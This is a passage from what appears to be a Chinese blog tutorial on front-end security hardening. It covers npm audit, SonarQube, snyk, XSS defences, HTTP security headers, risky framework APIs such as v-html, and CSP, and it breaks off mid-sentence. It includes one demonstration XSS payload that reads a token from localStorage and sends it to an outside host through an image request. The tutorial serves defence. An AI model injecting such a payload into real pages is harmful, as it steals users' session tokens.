WEB前端安全自查和加固

随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。

network-security.jpg

就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:

npm生态下依赖的安全性。npm 非常年轻,和Java相比包的质量参差不齐,也缺乏良好的审查机制,不过好在npm提供了一些安全工具帮我们审查依赖的安全问题。

XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式,前端开发需要日常注意,我们后面会主要讨论这类攻击。

CSRF跨站请求伪造攻击。CSRF不是非常流行,目前来说容易将此类攻击的破坏性降低到可以接受的程度。

代码自查

开发者和攻击者最大的不同之处在于,开发者完全拥有代码,因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行,如果开发者在上线之前对代码进行审查和扫描,可以事半功倍。

另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞,而代码层面的审查则需要开发团队完成。

npm audit

为了提高npm依赖的安全,npm 6.1 后添加了npm audit工具,这个工具可以搜索当前项目中使用的依赖是否存在安全问题,并提供了npm audit fix工具修复。

image1.png

它的工作原理是维护了一个已知不良依赖的名单,如果代码中使用了直接从GitHub而不是npm仓库中获取依赖,或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时,需要谨慎考虑,不滥用依赖在前端开发也是非常重要的。

Sonarqube

Sonarqube应该是今年业界最为流行的代码审查工具了,Sonarqube使用了和其他开源软件一样,软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台,也可以直接使用sonarqube在线的扫描服务。

image2.png

Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷,我们可以使用另外更加轻量级能集成到构建脚本中的工具。

snyk

如果不想暴露仓库权限,并且本地扫描,可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台,但是也提供了轻量级的本地扫描。

snyk 提供了npm安装,可以参考以下命令,简单的集成到CI中:

npm install -g snyk
snyk auth
snyk test

应对XSS攻击

XSS 攻击通过向页面中注入可以执行的JavaScript代码,因为可以通过JavaScript在已经登陆的用户页面上执行,可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。 XSS分为DOM型、反射型、存储型三种攻击类型,反射型和存储型服务器端可以通过过滤输出处理,对前端项目来说主要针对DOM型攻击采取安全措施。

xss.gif

上面这个动图是我假设的一个漏洞,前端代码直接接收外部输入,并添加到页面上。演示攻击者使用了一段代码:

<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通过图片触发onerror事件的方式执行一段JavaScript代码片段,再读取LocalStorage中的token,最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式,这种注入XSS的代码叫做 XSS payload,很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。

使用HTTP头启用浏览器安全行为

浏览器有很多内置的安全行为,可以防范XSS攻击,第一步需要做的是在上线时合理配置服务器环境,这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事,这里有一个checklist,分别说明了一些必要的HTTP头和用途。

  • HTTP only 对关键Cookies设置HTTP only,前端JavaScript无法读取该Cookies,即使前端被攻击,也无法盗取用户身份信息
  • X-Frame-Options 禁止页面通过IFrame被加载,用来方式clickJacking(页面伪装点击)攻击
  • X-XSS-Protection 配置浏览器的XSS过滤行为,当值为:- 0 禁用XSS过滤器/审核员- 1 删除不安全的部分,如果没有X-XSS-Protection头,这是默认设置- 1; mode = block 如果找到XSS,则不要渲染文档
  • X-Content-Type-Options 提示浏览器一定要遵循在 Content-Type 首部中对 MIME 类型 的设定,而不能对其进行修改,禁止浏览器嗅探资源类型
  • Strict-Transport-Security 要求浏览器对所有资源使用HTTPS链接
  • Access-Control-Allow-Origin 设置跨域请求的安全列表

下面演示一个HTTP only的例子,即使XSS攻击成功,也无法盗走token:

httponly.gif

避免框架中的危险特性

现代前端开发中使用了一般基于常用的框架开发,框架提供了很多安全特性在输入内容到DOM避免了XSS注入,但是如果不当使用,也会有一些风险。框架为了提供更大的灵活性往往允许原生的HTML内容被添加到DOM中并提供了对应API,但基本上也会在文档中说明。

Vue的v-html指令。 Vue的明确提示使用该指令的前提是信任输入内容,但是大量项目使用了此指令,甚至从URL上获取的部分内容。下面图片中的使用方式在项目中很常见,但是如果使用xss payload很容易像上面演示的那样被xss注入攻击。

vhtml.png

dangerouslySetInnerHTML。React中提供了类似的机制,不过在API的名称上非常醒目,原理上和Vue类似,不再赘述。

另外一种不当使用框架的例子是,读取原生DOM或者使用JQuery的并添加内容的行为,这种行为不仅对项目架构造成破坏,带来维护性的困难,而且会存在XSS注入的风险。

启用CSP浏览器安全策略

在银行和金融类项目,对安全要求非常重视。大家都知道的一个例子是银行项目都实现了自己的键盘输入控件,目的是防止操作系统的键盘Hook,这个超出前端开发需要考虑的内容。另外一个方法是启用CSP浏览器内容安全策略,对加载到页面上的内容进一步限制,并且CSP还提供了异常报告的机制。

mozilla的CSP定义

“内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等”

通俗的来说,CSP就是通过HTTP头部 Content-Security-Policy或者HTML meta标签定义一系列白名单规则,限制页面上脚本的执行和资源的加载来源,例如不允许执行内联代码(